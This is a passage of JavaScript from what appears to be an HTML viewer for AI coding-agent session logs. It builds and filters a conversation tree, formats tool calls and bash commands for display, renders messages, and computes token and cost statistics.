STRUCTURES - // ============================================================ - - // Entry lookup by ID - const byId = new Map(); - for (const entry of entries) { - byId.set(entry.id, entry); - } - - // Tool call lookup (toolCallId -> {name, arguments}) - const toolCallMap = new Map(); - for (const entry of entries) { - if (entry.type === "message" && entry.message.role === "assistant") { - const content = entry.message.content; - if (Array.isArray(content)) { - for (const block of content) { - if (block.type === "toolCall") { - toolCallMap.set(block.id, { - name: block.name, - arguments: block.arguments, - }); - } - } - } - } - } - - // Label lookup (entryId -> label string) - // Labels are stored in 'label' entries that reference their target via targetId - const labelMap = new Map(); - for (const entry of entries) { - if (entry.type === "label" && entry.targetId && entry.label) { - labelMap.set(entry.targetId, entry.label); - } - } - - // ============================================================ - // TREE DATA PREPARATION (no DOM, pure data) - // ============================================================ - - /** - * Build tree structure from flat entries. - * Returns array of root nodes, each with { entry, children, label }. - */ - function buildTree() { - const nodeMap = new Map(); - const roots = []; - - // Create nodes - for (const entry of entries) { - nodeMap.set(entry.id, { - entry, - children: [], - label: labelMap.get(entry.id), - }); - } - - // Build parent-child relationships - for (const entry of entries) { - const node = nodeMap.get(entry.id); - if ( - entry.parentId === null || - entry.parentId === undefined || - entry.parentId === entry.id - ) { - roots.push(node); - } else { - const parent = nodeMap.get(entry.parentId); - if (parent) { - parent.children.push(node); - } else { - roots.push(node); - } - } - } - - // Sort children by timestamp - function sortChildren(node) { - node.children.sort( - (a, b) => - new Date(a.entry.timestamp).getTime() - - new Date(b.entry.timestamp).getTime(), - ); - node.children.forEach(sortChildren); - } - roots.forEach(sortChildren); - - return roots; - } - - /** - * Build set of entry IDs on path from root to target. - */ - function buildActivePathIds(targetId) { - const ids = new Set(); - let current = byId.get(targetId); - while (current) { - ids.add(current.id); - // Stop if no parent or self-referencing (root) - if (!current.parentId || current.parentId === current.id) { - break; - } - current = byId.get(current.parentId); - } - return ids; - } - - /** - * Get array of entries from root to target (the conversation path). - */ - function getPath(targetId) { - const path = []; - let current = byId.get(targetId); - while (current) { - path.unshift(current); - // Stop if no parent or self-referencing (root) - if (!current.parentId || current.parentId === current.id) { - break; - } - current = byId.get(current.parentId); - } - return path; - } - - // Tree node lookup for finding leaves - let treeNodeMap = null; - - /** - * Find the newest leaf node reachable from a given node. - * This allows clicking any node in a branch to show the full branch. - * Children are sorted by timestamp, so the newest is always last. - */ - function findNewestLeaf(nodeId) { - // Build tree node map lazily - if (!treeNodeMap) { - treeNodeMap = new Map(); - const tree = buildTree(); - function mapNodes(node) { - treeNodeMap.set(node.entry.id, node); - node.children.forEach(mapNodes); - } - tree.forEach(mapNodes); - } - - const node = treeNodeMap.get(nodeId); - if (!node) return nodeId; - - // Follow the newest (last) child at each level - let current = node; - while (current.children.length > 0) { - current = current.children[current.children.length - 1]; - } - return current.entry.id; - } - - /** - * Flatten tree into list with indentation and connector info. - * Returns array of { node, indent, showConnector, isLast, gutters, isVirtualRootChild, multipleRoots }. - * Matches tree-selector.ts logic exactly. - */ - function flattenTree(roots, activePathIds) { - const result = []; - const multipleRoots = roots.length > 1; - - // Mark which subtrees contain the active leaf - const containsActive = new Map(); - function markActive(node) { - let has = activePathIds.has(node.entry.id); - for (const child of node.children) { - if (markActive(child)) has = true; - } - containsActive.set(node, has); - return has; - } - roots.forEach(markActive); - - // Stack: [node, indent, justBranched, showConnector, isLast, gutters, isVirtualRootChild] - const stack = []; - - // Add roots (prioritize branch containing active leaf) - const orderedRoots = [...roots].sort( - (a, b) => Number(containsActive.get(b)) - Number(containsActive.get(a)), - ); - for (let i = orderedRoots.length - 1; i >= 0; i--) { - const isLast = i === orderedRoots.length - 1; - stack.push([ - orderedRoots[i], - multipleRoots ? 1 : 0, - multipleRoots, - multipleRoots, - isLast, - [], - multipleRoots, - ]); - } - - while (stack.length > 0) { - const [ - node, - indent, - justBranched, - showConnector, - isLast, - gutters, - isVirtualRootChild, - ] = stack.pop(); - - result.push({ - node, - indent, - showConnector, - isLast, - gutters, - isVirtualRootChild, - multipleRoots, - }); - - const children = node.children; - const multipleChildren = children.length > 1; - - // Order children (active branch first) - const orderedChildren = [...children].sort( - (a, b) => Number(containsActive.get(b)) - Number(containsActive.get(a)), - ); - - // Calculate child indent (matches tree-selector.ts) - let childIndent; - if (multipleChildren) { - // Parent branches: children get +1 - childIndent = indent + 1; - } else if (justBranched && indent > 0) { - // First generation after a branch: +1 for visual grouping - childIndent = indent + 1; - } else { - // Single-child chain: stay flat - childIndent = indent; - } - - // Build gutters for children - const connectorDisplayed = showConnector && !isVirtualRootChild; - const currentDisplayIndent = multipleRoots - ? Math.max(0, indent - 1) - : indent; - const connectorPosition = Math.max(0, currentDisplayIndent - 1); - const childGutters = connectorDisplayed - ? [...gutters, { position: connectorPosition, show: !isLast }] - : gutters; - - // Add children in reverse order for stack - for (let i = orderedChildren.length - 1; i >= 0; i--) { - const childIsLast = i === orderedChildren.length - 1; - stack.push([ - orderedChildren[i], - childIndent, - multipleChildren, - multipleChildren, - childIsLast, - childGutters, - false, - ]); - } - } - - return result; - } - - /** - * Build ASCII prefix string for tree node. - */ - function buildTreePrefix(flatNode) { - const { - indent, - showConnector, - isLast, - gutters, - isVirtualRootChild, - multipleRoots, - } = flatNode; - const displayIndent = multipleRoots ? Math.max(0, indent - 1) : indent; - const connector = - showConnector && !isVirtualRootChild ? (isLast ? "└─ " : "├─ ") : ""; - const connectorPosition = connector ? displayIndent - 1 : -1; - - const totalChars = displayIndent * 3; - const prefixChars = []; - for (let i = 0; i < totalChars; i++) { - const level = Math.floor(i / 3); - const posInLevel = i % 3; - - const gutter = gutters.find((g) => g.position === level); - if (gutter) { - prefixChars.push(posInLevel === 0 ? (gutter.show ? "│" : " ") : " "); - } else if (connector && level === connectorPosition) { - if (posInLevel === 0) { - prefixChars.push(isLast ? "└" : "├"); - } else if (posInLevel === 1) { - prefixChars.push("─"); - } else { - prefixChars.push(" "); - } - } else { - prefixChars.push(" "); - } - } - return prefixChars.join(""); - } - - // ============================================================ - // FILTERING (pure data) - // ============================================================ - - let filterMode = "default"; - let searchQuery = ""; - - function hasTextContent(content) { - if (typeof content === "string") return content.trim().length > 0; - if (Array.isArray(content)) { - for (const c of content) { - if (c.type === "text" && c.text && c.text.trim().length > 0) - return true; - } - } - return false; - } - - function extractContent(content) { - if (typeof content === "string") return content; - if (Array.isArray(content)) { - return content - .filter((c) => c.type === "text" && c.text) - .map((c) => c.text) - .join(""); - } - return ""; - } - - function getSearchableText(entry, label) { - const parts = []; - if (label) parts.push(label); - - switch (entry.type) { - case "message": { - const msg = entry.message; - parts.push(msg.role); - if (msg.content) parts.push(extractContent(msg.content)); - if (msg.role === "bashExecution" && msg.command) - parts.push(msg.command); - break; - } - case "custom_message": - parts.push(entry.customType); - parts.push( - typeof entry.content === "string" - ? entry.content - : extractContent(entry.content), - ); - break; - case "compaction": - parts.push("compaction"); - break; - case "branch_summary": - parts.push("branch summary", entry.summary); - break; - case "model_change": - parts.push("model", entry.modelId); - break; - case "thinking_level_change": - parts.push("thinking", entry.thinkingLevel); - break; - } - - return parts.join(" ").toLowerCase(); - } - - /** - * Filter flat nodes based on current filterMode and searchQuery. - */ - function filterNodes(flatNodes, currentLeafId) { - const searchTokens = searchQuery.toLowerCase().split(/\s+/).filter(Boolean); - - const filtered = flatNodes.filter((flatNode) => { - const entry = flatNode.node.entry; - const label = flatNode.node.label; - const isCurrentLeaf = entry.id === currentLeafId; - - // Always show current leaf - if (isCurrentLeaf) return true; - - // Hide assistant messages with only tool calls (no text) unless error/aborted - if (entry.type === "message" && entry.message.role === "assistant") { - const msg = entry.message; - const hasText = hasTextContent(msg.content); - const isErrorOrAborted = - msg.stopReason && - msg.stopReason !== "stop" && - msg.stopReason !== "toolUse"; - if (!hasText && !isErrorOrAborted) return false; - } - - // Apply filter mode - const isSettingsEntry = [ - "label", - "custom", - "model_change", - "thinking_level_change", - ].includes(entry.type); - let passesFilter = true; - - switch (filterMode) { - case "user-only": - passesFilter = - entry.type === "message" && entry.message.role === "user"; - break; - case "no-tools": - passesFilter = - !isSettingsEntry && - !(entry.type === "message" && entry.message.role === "toolResult"); - break; - case "labeled-only": - passesFilter = label !== undefined; - break; - case "all": - passesFilter = true; - break; - default: // 'default' - passesFilter = !isSettingsEntry; - break; - } - - if (!passesFilter) return false; - - // Apply search filter - if (searchTokens.length > 0) { - const nodeText = getSearchableText(entry, label); - if (!searchTokens.every((t) => nodeText.includes(t))) return false; - } - - return true; - }); - - // Recalculate visual structure based on visible tree - recalculateVisualStructure(filtered, flatNodes); - - return filtered; - } - - /** - * Recompute indentation/connectors for the filtered view - * - * Filtering can hide intermediate entries; descendants attach to the nearest visible ancestor. - * Keep indentation semantics aligned with flattenTree() so single-child chains don't drift right. - */ - function recalculateVisualStructure(filteredNodes, allFlatNodes) { - if (filteredNodes.length === 0) return; - - const visibleIds = new Set(filteredNodes.map((n) => n.node.entry.id)); - - // Build entry map for parent lookup (using full tree) - const entryMap = new Map(); - for (const flatNode of allFlatNodes) { - entryMap.set(flatNode.node.entry.id, flatNode); - } - - // Find nearest visible ancestor for a node - function findVisibleAncestor(nodeId) { - let currentId = entryMap.get(nodeId)?.node.entry.parentId; - while (currentId != null) { - if (visibleIds.has(currentId)) { - return currentId; - } - currentId = entryMap.get(currentId)?.node.entry.parentId; - } - return null; - } - - // Build visible tree structure - const visibleParent = new Map(); - const visibleChildren = new Map(); - visibleChildren.set(null, []); // root-level nodes - - for (const flatNode of filteredNodes) { - const nodeId = flatNode.node.entry.id; - const ancestorId = findVisibleAncestor(nodeId); - visibleParent.set(nodeId, ancestorId); - - if (!visibleChildren.has(ancestorId)) { - visibleChildren.set(ancestorId, []); - } - visibleChildren.get(ancestorId).push(nodeId); - } - - // Update multipleRoots based on visible roots - const visibleRootIds = visibleChildren.get(null); - const multipleRoots = visibleRootIds.length > 1; - - // Build a map for quick lookup: nodeId → FlatNode - const filteredNodeMap = new Map(); - for (const flatNode of filteredNodes) { - filteredNodeMap.set(flatNode.node.entry.id, flatNode); - } - - // DFS traversal of visible tree, applying same indentation rules as flattenTree() - // Stack items: [nodeId, indent, justBranched, showConnector, isLast, gutters, isVirtualRootChild] - const stack = []; - - // Add visible roots in reverse order (to process in forward order via stack) - for (let i = visibleRootIds.length - 1; i >= 0; i--) { - const isLast = i === visibleRootIds.length - 1; - stack.push([ - visibleRootIds[i], - multipleRoots ? 1 : 0, - multipleRoots, - multipleRoots, - isLast, - [], - multipleRoots, - ]); - } - - while (stack.length > 0) { - const [ - nodeId, - indent, - justBranched, - showConnector, - isLast, - gutters, - isVirtualRootChild, - ] = stack.pop(); - - const flatNode = filteredNodeMap.get(nodeId); - if (!flatNode) continue; - - // Update this node's visual properties - flatNode.indent = indent; - flatNode.showConnector = showConnector; - flatNode.isLast = isLast; - flatNode.gutters = gutters; - flatNode.isVirtualRootChild = isVirtualRootChild; - flatNode.multipleRoots = multipleRoots; - - // Get visible children of this node - const children = visibleChildren.get(nodeId) || []; - const multipleChildren = children.length > 1; - - // Calculate child indent using same rules as flattenTree(): - // - Parent branches (multiple children): children get +1 - // - Just branched and indent > 0: children get +1 for visual grouping - // - Single-child chain: stay flat - let childIndent; - if (multipleChildren) { - childIndent = indent + 1; - } else if (justBranched && indent > 0) { - childIndent = indent + 1; - } else { - childIndent = indent; - } - - // Build gutters for children (same logic as flattenTree) - const connectorDisplayed = showConnector && !isVirtualRootChild; - const currentDisplayIndent = multipleRoots - ? Math.max(0, indent - 1) - : indent; - const connectorPosition = Math.max(0, currentDisplayIndent - 1); - const childGutters = connectorDisplayed - ? [...gutters, { position: connectorPosition, show: !isLast }] - : gutters; - - // Add children in reverse order (to process in forward order via stack) - for (let i = children.length - 1; i >= 0; i--) { - const childIsLast = i === children.length - 1; - stack.push([ - children[i], - childIndent, - multipleChildren, - multipleChildren, - childIsLast, - childGutters, - false, - ]); - } - } - } - - // ============================================================ - // TREE DISPLAY TEXT (pure data -> string) - // ============================================================ - - function shortenPath(p) { - if (typeof p !== "string") return ""; - if (p.startsWith("/Users/")) { - const parts = p.split("/"); - if (parts.length > 2) return "~" + p.slice(("/Users/" + parts[2]).length); - } - if (p.startsWith("/home/")) { - const parts = p.split("/"); - if (parts.length > 2) return "~" + p.slice(("/home/" + parts[2]).length); - } - return p; - } - - function formatToolCall(name, args) { - switch (name) { - case "read": { - const path = shortenPath(String(args.path || args.file_path || "")); - const offset = args.offset; - const limit = args.limit; - let display = path; - if (offset !== undefined || limit !== undefined) { - const start = offset ?? 1; - const end = limit !== undefined ? start + limit - 1 : ""; - display += `:${start}${end ? `-${end}` : ""}`; - } - return `[read: ${display}]`; - } - case "write": - return `[write: ${shortenPath(String(args.path || args.file_path || ""))}]`; - case "edit": - return `[edit: ${shortenPath(String(args.path || args.file_path || ""))}]`; - case "bash": { - const rawCmd = String(args.command || ""); - const cmd = rawCmd - .replace(/[\n\t]/g, " ") - .trim() - .slice(0, 50); - return `[bash: ${cmd}${rawCmd.length > 50 ? "..." : ""}]`; - } - case "grep": - return `[grep: /${args.pattern || ""}/ in ${shortenPath(String(args.path || "."))}]`; - case "find": - return `[find: ${args.pattern || ""} in ${shortenPath(String(args.path || "."))}]`; - case "ls": - return `[ls: ${shortenPath(String(args.path || "."))}]`; - default: { - const argsStr = JSON.stringify(args).slice(0, 40); - return `[${name}: ${argsStr}${JSON.stringify(args).length > 40 ? "..." : ""}]`; - } - } - } - - function escapeHtml(text) { - const div = document.createElement("div"); - div.textContent = text; - return div.innerHTML; - } - - /** - * Truncate string to maxLen chars, append "..." if truncated. - */ - function truncate(s, maxLen = 100) { - if (s.length <= maxLen) return s; - return s.slice(0, maxLen) + "..."; - } - - /** - * Get display text for tree node (returns HTML string). - */ - function getTreeNodeDisplayHtml(entry, label) { - const normalize = (s) => s.replace(/[\n\t]/g, " ").trim(); - const labelHtml = label - ? `[${escapeHtml(label)}] ` - : ""; - - switch (entry.type) { - case "message": { - const msg = entry.message; - if (msg.role === "user") { - const content = truncate(normalize(extractContent(msg.content))); - return ( - labelHtml + - `user: ${escapeHtml(content)}` - ); - } - if (msg.role === "assistant") { - const textContent = truncate(normalize(extractContent(msg.content))); - if (textContent) { - return ( - labelHtml + - `assistant: ${escapeHtml(textContent)}` - ); - } - if (msg.stopReason === "aborted") { - return ( - labelHtml + - `assistant: (aborted)` - ); - } - if (msg.errorMessage) { - return ( - labelHtml + - `assistant: ${escapeHtml(truncate(msg.errorMessage))}` - ); - } - return ( - labelHtml + - `assistant: (no text)` - ); - } - if (msg.role === "toolResult") { - const toolCall = msg.toolCallId - ? toolCallMap.get(msg.toolCallId) - : null; - if (toolCall) { - return ( - labelHtml + - `${escapeHtml(formatToolCall(toolCall.name, toolCall.arguments))}` - ); - } - return ( - labelHtml + - `[${escapeHtml(msg.toolName || "tool")}]` - ); - } - if (msg.role === "bashExecution") { - const cmd = truncate(normalize(msg.command || "")); - return ( - labelHtml + - `[bash]: ${escapeHtml(cmd)}` - ); - } - return ( - labelHtml + - `[${escapeHtml(msg.role)}]` - ); - } - case "compaction": - return ( - labelHtml + - `[compaction: ${Math.round(entry.tokensBefore / 1000)}k tokens]` - ); - case "branch_summary": { - const summary = truncate(normalize(entry.summary || "")); - return ( - labelHtml + - `[branch summary]: ${escapeHtml(summary)}` - ); - } - case "custom_message": { - const content = - typeof entry.content === "string" - ? entry.content - : extractContent(entry.content); - return ( - labelHtml + - `[${escapeHtml(entry.customType)}]: ${escapeHtml(truncate(normalize(content)))}` - ); - } - case "model_change": - return ( - labelHtml + - `[model: ${escapeHtml(entry.modelId)}]` - ); - case "thinking_level_change": - return ( - labelHtml + - `[thinking: ${escapeHtml(entry.thinkingLevel)}]` - ); - default: - return ( - labelHtml + - `[${escapeHtml(entry.type)}]` - ); - } - } - - // ============================================================ - // TREE RENDERING (DOM manipulation) - // ============================================================ - - let currentLeafId = leafId; - let currentTargetId = urlTargetId || leafId; - let treeRendered = false; - - function renderTree() { - const tree = buildTree(); - const activePathIds = buildActivePathIds(currentLeafId); - const flatNodes = flattenTree(tree, activePathIds); - const filtered = filterNodes(flatNodes, currentLeafId); - const container = document.getElementById("tree-container"); - - // Full render only on first call or when filter/search changes - if (!treeRendered) { - container.innerHTML = ""; - - for (const flatNode of filtered) { - const entry = flatNode.node.entry; - const isOnPath = activePathIds.has(entry.id); - const isTarget = entry.id === currentTargetId; - - const div = document.createElement("div"); - div.className = "tree-node"; - if (isOnPath) div.classList.add("in-path"); - if (isTarget) div.classList.add("active"); - div.dataset.id = entry.id; - - const prefix = buildTreePrefix(flatNode); - const prefixSpan = document.createElement("span"); - prefixSpan.className = "tree-prefix"; - prefixSpan.textContent = prefix; - - const marker = document.createElement("span"); - marker.className = "tree-marker"; - marker.textContent = isOnPath ? "•" : " "; - - const content = document.createElement("span"); - content.className = "tree-content"; - content.innerHTML = getTreeNodeDisplayHtml(entry, flatNode.node.label); - - div.appendChild(prefixSpan); - div.appendChild(marker); - div.appendChild(content); - // Navigate to the newest leaf through this node, but scroll to the clicked node - div.addEventListener("click", () => { - const leafId = findNewestLeaf(entry.id); - navigateTo(leafId, "target", entry.id); - }); - - container.appendChild(div); - } - - treeRendered = true; - } else { - // Just update markers and classes - const nodes = container.querySelectorAll(".tree-node"); - for (const node of nodes) { - const id = node.dataset.id; - const isOnPath = activePathIds.has(id); - const isTarget = id === currentTargetId; - - node.classList.toggle("in-path", isOnPath); - node.classList.toggle("active", isTarget); - - const marker = node.querySelector(".tree-marker"); - if (marker) { - marker.textContent = isOnPath ? "•" : " "; - } - } - } - - document.getElementById("tree-status").textContent = - `${filtered.length} / ${flatNodes.length} entries`; - - // Scroll active node into view after layout - setTimeout(() => { - const activeNode = container.querySelector(".tree-node.active"); - if (activeNode) { - activeNode.scrollIntoView({ block: "nearest" }); - } - }, 0); - } - - function forceTreeRerender() { - treeRendered = false; - renderTree(); - } - - // ============================================================ - // MESSAGE RENDERING - // ============================================================ - - function formatTokens(count) { - if (count < 1000) return count.toString(); - if (count < 10000) return (count / 1000).toFixed(1) + "k"; - if (count < 1000000) return Math.round(count / 1000) + "k"; - return (count / 1000000).toFixed(1) + "M"; - } - - function formatTimestamp(ts) { - if (!ts) return ""; - const date = new Date(ts); - return date.toLocaleTimeString(undefined, { - hour: "2-digit", - minute: "2-digit", - second: "2-digit", - }); - } - - function replaceTabs(text) { - return text.replace(/\t/g, " "); - } - - /** Safely coerce value to string for display. Returns null if invalid type. */ - function str(value) { - if (typeof value === "string") return value; - if (value == null) return ""; - return null; - } - - function getLanguageFromPath(filePath) { - const ext = filePath.split(".").pop()?.toLowerCase(); - const extToLang = { - ts: "typescript", - tsx: "typescript", - js: "javascript", - jsx: "javascript", - py: "python", - rb: "ruby", - rs: "rust", - go: "go", - java: "java", - c: "c", - cpp: "cpp", - h: "c", - hpp: "cpp", - cs: "csharp", - php: "php", - sh: "bash", - bash: "bash", - zsh: "bash", - sql: "sql", - html: "html", - css: "css", - scss: "scss", - json: "json", - yaml: "yaml", - yml: "yaml", - xml: "xml", - md: "markdown", - dockerfile: "dockerfile", - }; - return extToLang[ext]; - } - - function findToolResult(toolCallId) { - for (const entry of entries) { - if (entry.type === "message" && entry.message.role === "toolResult") { - if (entry.message.toolCallId === toolCallId) { - return entry.message; - } - } - } - return null; - } - - function formatExpandableOutput(text, maxLines, lang) { - text = replaceTabs(text); - const lines = text.split("\n"); - const displayLines = lines.slice(0, maxLines); - const remaining = lines.length - maxLines; - - if (lang) { - let highlighted; - try { - highlighted = hljs.highlight(text, { language: lang }).value; - } catch { - highlighted = escapeHtml(text); - } - - if (remaining > 0) { - const previewCode = displayLines.join("\n"); - let previewHighlighted; - try { - previewHighlighted = hljs.highlight(previewCode, { - language: lang, - }).value; - } catch { - previewHighlighted = escapeHtml(previewCode); - } - - return ``; - } - - return `
${highlighted}
`; - } - - // Plain text output - if (remaining > 0) { - let out = - '"; - return out; - } - - let out = '
'; - for (const line of displayLines) { - out += `
${escapeHtml(replaceTabs(line))}
`; - } - out += "
"; - return out; - } - - function renderToolCall(call) { - const result = findToolResult(call.id); - const isError = result?.isError || false; - const statusClass = result ? (isError ? "error" : "success") : "pending"; - - const getResultText = () => { - if (!result) return ""; - const textBlocks = result.content.filter((c) => c.type === "text"); - return textBlocks.map((c) => c.text).join("\n"); - }; - - const getResultImages = () => { - if (!result) return []; - return result.content.filter((c) => c.type === "image"); - }; - - const renderResultImages = () => { - const images = getResultImages(); - if (images.length === 0) return ""; - return ( - '
' + - images - .map( - (img) => - ``, - ) - .join("") + - "
" - ); - }; - - let html = `
`; - const args = call.arguments || {}; - const name = call.name; - - const invalidArg = '[invalid arg]'; - - switch (name) { - case "bash": { - const command = str(args.command); - const cmdDisplay = - command === null ? invalidArg : escapeHtml(command || "..."); - html += `
$ ${cmdDisplay}
`; - if (result) { - const output = getResultText().trim(); - if (output) html += formatExpandableOutput(output, 5); - } - break; - } - case "read": { - const filePath = str(args.file_path ?? args.path); - const offset = args.offset; - const limit = args.limit; - - let pathHtml = - filePath === null - ? invalidArg - : escapeHtml(shortenPath(filePath || "")); - if ( - filePath !== null && - (offset !== undefined || limit !== undefined) - ) { - const startLine = offset ?? 1; - const endLine = limit !== undefined ? startLine + limit - 1 : ""; - pathHtml += `:${startLine}${endLine ? "-" + endLine : ""}`; - } - - html += `
read ${pathHtml}
`; - if (result) { - html += renderResultImages(); - const output = getResultText(); - const lang = filePath ? getLanguageFromPath(filePath) : null; - if (output) html += formatExpandableOutput(output, 10, lang); - } - break; - } - case "write": { - const filePath = str(args.file_path ?? args.path); - const content = str(args.content); - - html += `
write ${filePath === null ? invalidArg : escapeHtml(shortenPath(filePath || ""))}`; - if (content !== null && content) { - const lines = content.split("\n"); - if (lines.length > 10) - html += ` (${lines.length} lines)`; - } - html += "
"; - - if (content === null) { - html += `
[invalid content arg - expected string]
`; - } else if (content) { - const lang = filePath ? getLanguageFromPath(filePath) : null; - html += formatExpandableOutput(content, 10, lang); - } - if (result) { - const output = getResultText().trim(); - if (output) - html += `
${escapeHtml(output)}
`; - } - break; - } - case "edit": { - const filePath = str(args.file_path ?? args.path); - html += `
edit ${filePath === null ? invalidArg : escapeHtml(shortenPath(filePath || ""))}
`; - - if (result?.details?.diff) { - const diffLines = result.details.diff.split("\n"); - html += '
'; - for (const line of diffLines) { - const cls = line.match(/^\+/) - ? "diff-added" - : line.match(/^-/) - ? "diff-removed" - : "diff-context"; - html += `
${escapeHtml(replaceTabs(line))}
`; - } - html += "
"; - } else if (result) { - const output = getResultText().trim(); - if (output) - html += `
${escapeHtml(output)}
`; - } - break; - } - default: { - // Check for pre-rendered custom tool HTML - const rendered = renderedTools?.[call.id]; - if ( - rendered?.callHtml || - rendered?.resultHtmlCollapsed || - rendered?.resultHtmlExpanded - ) { - // Custom tool with pre-rendered HTML from TUI renderer - if (rendered.callHtml) { - html += `
${rendered.callHtml}
`; - } else { - html += `
${escapeHtml(name)}
`; - } - - if ( - rendered.resultHtmlCollapsed && - rendered.resultHtmlExpanded && - rendered.resultHtmlCollapsed !== rendered.resultHtmlExpanded - ) { - // Both collapsed and expanded differ - render expandable section - html += ``; - } else if (rendered.resultHtmlExpanded) { - // Only expanded exists (or collapsed is identical) - show directly - html += `
${rendered.resultHtmlExpanded}
`; - } else if (result) { - // No pre-rendered result HTML - fallback to JSON - const output = getResultText(); - if (output) html += formatExpandableOutput(output, 10); - } - } else { - // Fallback to JSON display (existing behavior) - html += `
${escapeHtml(name)}
`; - html += `
${escapeHtml(JSON.stringify(args, null, 2))}
`; - if (result) { - const output = getResultText(); - if (output) html += formatExpandableOutput(output, 10); - } - } - } - } - - html += "
"; - return html; - } - - /** - * Download the session data as a JSONL file. - * Reconstructs the original format: header line + entry lines. - */ - window.downloadSessionJson = () => { - // Build JSONL content: header first, then all entries - const lines = []; - if (header) { - lines.push(JSON.stringify({ type: "header", ...header })); - } - for (const entry of entries) { - lines.push(JSON.stringify(entry)); - } - const jsonlContent = lines.join("\n"); - - // Create download - const blob = new Blob([jsonlContent], { type: "application/x-ndjson" }); - const url = URL.createObjectURL(blob); - const a = document.createElement("a"); - a.href = url; - a.download = `${header?.id || "session"}.jsonl`; - document.body.appendChild(a); - a.click(); - document.body.removeChild(a); - URL.revokeObjectURL(url); - }; - - /** - * Build a shareable URL for a specific message. - * URL format: base?gistId&leafId=&targetId= - */ - function buildShareUrl(entryId) { - // Check for injected base URL (used when loaded in iframe via srcdoc) - const baseUrlMeta = document.querySelector( - 'meta[name="pi-share-base-url"]', - ); - const baseUrl = baseUrlMeta - ? baseUrlMeta.content - : window.location.href.split("?")[0]; - - const url = new URL(window.location.href); - // Find the gist ID (first query param without value, e.g., ?abc123) - const gistId = Array.from(url.searchParams.keys()).find( - (k) => !url.searchParams.get(k), - ); - - // Build the share URL - const params = new URLSearchParams(); - params.set("leafId", currentLeafId); - params.set("targetId", entryId); - - // If we have an injected base URL (iframe context), use it directly - if (baseUrlMeta) { - return `${baseUrl}&${params.toString()}`; - } - - // Otherwise build from current location (direct file access) - url.search = gistId - ? `?${gistId}&${params.toString()}` - : `?${params.toString()}`; - return url.toString(); - } - - /** - * Copy text to clipboard with visual feedback. - * Uses navigator.clipboard with fallback to execCommand for HTTP contexts. - */ - async function copyToClipboard(text, button) { - let success = false; - try { - if (navigator.clipboard && navigator.clipboard.writeText) { - await navigator.clipboard.writeText(text); - success = true; - } - } catch (_err) { - // Clipboard API failed, try fallback - } - - // Fallback for HTTP or when Clipboard API is unavailable - if (!success) { - try { - const textarea = document.createElement("textarea"); - textarea.value = text; - textarea.style.position = "fixed"; - textarea.style.opacity = "0"; - document.body.appendChild(textarea); - textarea.select(); - success = document.execCommand("copy"); - document.body.removeChild(textarea); - } catch (err) { - console.error("Failed to copy:", err); - } - } - - if (success && button) { - const originalHtml = button.innerHTML; - button.innerHTML = "✓"; - button.classList.add("copied"); - setTimeout(() => { - button.innerHTML = originalHtml; - button.classList.remove("copied"); - }, 1500); - } - } - - /** - * Render the copy-link button HTML for a message. - */ - function renderCopyLinkButton(entryId) { - return ``; - } - - function renderEntry(entry) { - const ts = formatTimestamp(entry.timestamp); - const tsHtml = ts ? `
${ts}
` : ""; - const entryDomId = `entry-${escapeHtml(entry.id)}`; - const copyBtnHtml = renderCopyLinkButton(entry.id); - - if (entry.type === "message") { - const msg = entry.message; - - if (msg.role === "user") { - let html = `
${copyBtnHtml}${tsHtml}`; - const content = msg.content; - - if (Array.isArray(content)) { - const images = content.filter((c) => c.type === "image"); - if (images.length > 0) { - html += '
'; - for (const img of images) { - html += ``; - } - html += "
"; - } - } - - const text = - typeof content === "string" - ? content - : content - .filter((c) => c.type === "text") - .map((c) => c.text) - .join("\n"); - if (text.trim()) { - html += `
${safeMarkedParse(text)}
`; - } - html += "
"; - return html; - } - - if (msg.role === "assistant") { - let html = `
${copyBtnHtml}${tsHtml}`; - - for (const block of msg.content) { - if (block.type === "text" && block.text.trim()) { - html += `
${safeMarkedParse(block.text)}
`; - } else if (block.type === "thinking" && block.thinking.trim()) { - html += `
-
${escapeHtml(block.thinking)}
-
Thinking ...
-
`; - } - } - - for (const block of msg.content) { - if (block.type === "toolCall") { - html += renderToolCall(block); - } - } - - if (msg.stopReason === "aborted") { - html += '
Aborted
'; - } else if (msg.stopReason === "error") { - html += `
Error: ${escapeHtml(msg.errorMessage || "Unknown error")}
`; - } - - html += "
"; - return html; - } - - if (msg.role === "bashExecution") { - const isError = - msg.cancelled || (msg.exitCode !== 0 && msg.exitCode !== null); - let html = `
${tsHtml}`; - html += `
$ ${escapeHtml(msg.command)}
`; - if (msg.output) html += formatExpandableOutput(msg.output, 10); - if (msg.cancelled) { - html += '
(cancelled)
'; - } else if (msg.exitCode !== 0 && msg.exitCode !== null) { - html += `
(exit ${msg.exitCode})
`; - } - html += "
"; - return html; - } - - if (msg.role === "toolResult") return ""; - } - - if (entry.type === "model_change") { - return `
${tsHtml}Switched to model: ${escapeHtml(entry.provider)}/${escapeHtml(entry.modelId)}
`; - } - - if (entry.type === "compaction") { - return `
-
[compaction]
-
Compacted from ${entry.tokensBefore.toLocaleString()} tokens
-
Compacted from ${entry.tokensBefore.toLocaleString()} tokens\n\n${escapeHtml(entry.summary)}
-
`; - } - - if (entry.type === "branch_summary") { - return `
${tsHtml} -
Branch Summary
-
${safeMarkedParse(entry.summary)}
-
`; - } - - if (entry.type === "custom_message" && entry.display) { - return `
${tsHtml} -
[${escapeHtml(entry.customType)}]
-
${safeMarkedParse(typeof entry.content === "string" ? entry.content : JSON.stringify(entry.content))}
-
`; - } - - return ""; - } - - // ============================================================ - // HEADER / STATS - // ============================================================ - - function computeStats(entryList) { - let userMessages = 0, - assistantMessages = 0, - toolResults = 0; - let customMessages = 0, - compactions = 0, - branchSummaries = 0, - toolCalls = 0; - const tokens = { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }; - const cost = { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }; - const models = new Set(); - - for (const entry of entryList) { - if (entry.type === "message") { - const msg = entry.message; - if (msg.role === "user") userMessages++; - if (msg.role === "assistant") { - assistantMessages++; - if (msg.model) - models.add( - msg.provider ? `${msg.provider}/${msg.model}` : msg.model, - ); - if (msg.usage) { - tokens.input += msg.usage.input || 0; - tokens.output += msg.usage.output || 0; - tokens.cacheRead += msg.usage.cacheRead || 0; - tokens.cacheWrite += msg.usage.cacheWrite || 0; - if (msg.usage.cost) { - cost.input += msg.usage.cost.input || 0; - cost.output += msg.usage.cost.output || 0; - cost.cacheRead += msg.usage.cost.cacheRead || 0; - cost.cacheWrite += msg.usage.cost.cacheWrite || 0; - } - } - toolCalls += msg.content.filter((c) => c.type === "toolCall").length; - } - if (msg.role === "toolResult") toolResults++; - } else if (entry.type 